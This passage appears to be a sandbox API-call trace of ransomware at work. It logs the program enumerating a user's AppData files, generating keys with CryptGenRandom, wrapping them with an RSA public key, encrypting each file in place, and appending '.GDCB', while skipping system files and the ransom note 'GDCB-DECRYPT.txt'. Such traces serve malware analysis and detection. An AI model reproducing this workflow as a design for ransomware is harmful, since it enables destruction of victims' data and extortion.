(hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.115] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.115] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.115] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.115] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x5902c0) returned 1 [0053.116] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.116] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.116] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.116] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.116] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.116] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.116] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.116] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.117] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.120] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588b20) returned 1 [0053.120] CryptGetKeyParam (in: hKey=0x588b20, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.120] CryptEncrypt (in: hKey=0x588b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.120] GetLastError () returned 0x0 [0053.120] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.120] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5902c0) returned 1 [0053.122] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588760) returned 1 [0053.122] CryptGetKeyParam (in: hKey=0x588760, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.122] CryptEncrypt (in: hKey=0x588760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.122] GetLastError () returned 0x0 [0053.122] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4sctkxf.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.122] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.122] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.122] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x16fb, lpOverlapped=0x0) returned 1 [0053.127] VirtualAlloc (lpAddress=0x0, dwSize=0x1700, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.127] VirtualAlloc (lpAddress=0x0, dwSize=0x1700, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.127] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.128] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-5883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.128] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x1700, lpOverlapped=0x0) returned 1 [0053.128] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.128] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.131] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.131] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.131] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.131] CloseHandle (hObject=0x4f4) returned 1 [0053.132] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.132] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.132] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.132] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4sctkxf.ots"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\4SCtkxF.ots.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\4sctkxf.ots.gdcb")) returned 1 [0053.133] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.133] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.133] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.133] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav", lpString2=".") returned 1 [0053.133] lstrcmpW (lpString1="6ttfnwVzD3wR1.wav", lpString2="..") returned 1 [0053.133] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="6ttfnwVzD3wR1.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" [0053.133] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.133] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned 55 [0053.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned 55 [0053.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned 55 [0053.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned 55 [0053.133] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="desktop.ini") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="autorun.inf") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="ntuser.dat") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="iconcache.db") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="bootsect.bak") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="boot.ini") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="ntuser.dat.log") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="thumbs.db") returned -1 [0053.134] lstrcmpiW (lpString1="6ttfnwVzD3wR1.wav", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.134] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\6ttfnwvzd3wr1.wav")) returned 0x20 [0053.134] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav", dwFileAttributes=0x20) returned 1 [0053.134] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.134] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" [0053.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB" [0053.134] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.135] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.135] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.135] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.135] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.135] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.135] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.136] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.136] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.136] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.136] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.136] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.136] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.136] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.137] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58ff08) returned 1 [0053.138] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588fa0) returned 1 [0053.138] CryptGetKeyParam (in: hKey=0x588fa0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.138] CryptEncrypt (in: hKey=0x588fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.139] GetLastError () returned 0x0 [0053.139] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.139] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.141] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x588fe0) returned 1 [0053.141] CryptGetKeyParam (in: hKey=0x588fe0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.141] CryptEncrypt (in: hKey=0x588fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.141] GetLastError () returned 0x0 [0053.141] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.141] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\6ttfnwvzd3wr1.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.141] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.141] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.141] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x17cbb, lpOverlapped=0x0) returned 1 [0053.146] VirtualAlloc (lpAddress=0x0, dwSize=0x17cc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.147] VirtualAlloc (lpAddress=0x0, dwSize=0x17cc0, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0053.148] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.148] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-97467, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.148] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x17cc0, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x17cc0, lpOverlapped=0x0) returned 1 [0053.149] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.149] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.153] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.153] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.153] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.153] CloseHandle (hObject=0x4f4) returned 1 [0053.155] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.155] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.155] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.155] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\6ttfnwvzd3wr1.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\6ttfnwVzD3wR1.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\6ttfnwvzd3wr1.wav.gdcb")) returned 1 [0053.156] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.156] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.156] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.156] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2=".") returned 1 [0053.156] lstrcmpW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="..") returned 1 [0053.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="8MU6pxFxklXwXFC.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" [0053.156] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.157] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned 57 [0053.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned 57 [0053.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned 57 [0053.157] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned 57 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="desktop.ini") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="autorun.inf") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="ntuser.dat") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="iconcache.db") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="bootsect.bak") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="boot.ini") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="ntuser.dat.log") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="thumbs.db") returned -1 [0053.157] lstrcmpiW (lpString1="8MU6pxFxklXwXFC.m4a", lpString2="GDCB-DECRYPT.txt") returned -1 [0053.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8mu6pxfxklxwxfc.m4a")) returned 0x20 [0053.157] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a", dwFileAttributes=0x20) returned 1 [0053.157] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.157] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" [0053.157] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a.GDCB" [0053.157] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.158] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.158] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.158] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.158] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.158] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.158] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.158] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.159] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.159] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.159] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.159] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.159] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.159] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x5901b0) returned 1 [0053.161] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589420) returned 1 [0053.161] CryptGetKeyParam (in: hKey=0x589420, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.161] CryptEncrypt (in: hKey=0x589420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.162] GetLastError () returned 0x0 [0053.162] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0053.162] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.163] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589120) returned 1 [0053.163] CryptGetKeyParam (in: hKey=0x589120, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.163] CryptEncrypt (in: hKey=0x589120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.163] GetLastError () returned 0x0 [0053.164] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.164] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\8MU6pxFxklXwXFC.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\8mu6pxfxklxwxfc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.164] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.164] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.164] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x7211, lpOverlapped=0x0) returned 1 [0053.169] VirtualAlloc (lpAddress=0x0, dwSize=0x7220, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.169] VirtualAlloc (lpAddress=0x0, dwSize=0x7220, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.169] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.170] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-29201, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.170] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x7220, lpOverlapped=0x0) returned 1 [0053.170] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.170] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.173] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.173] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, 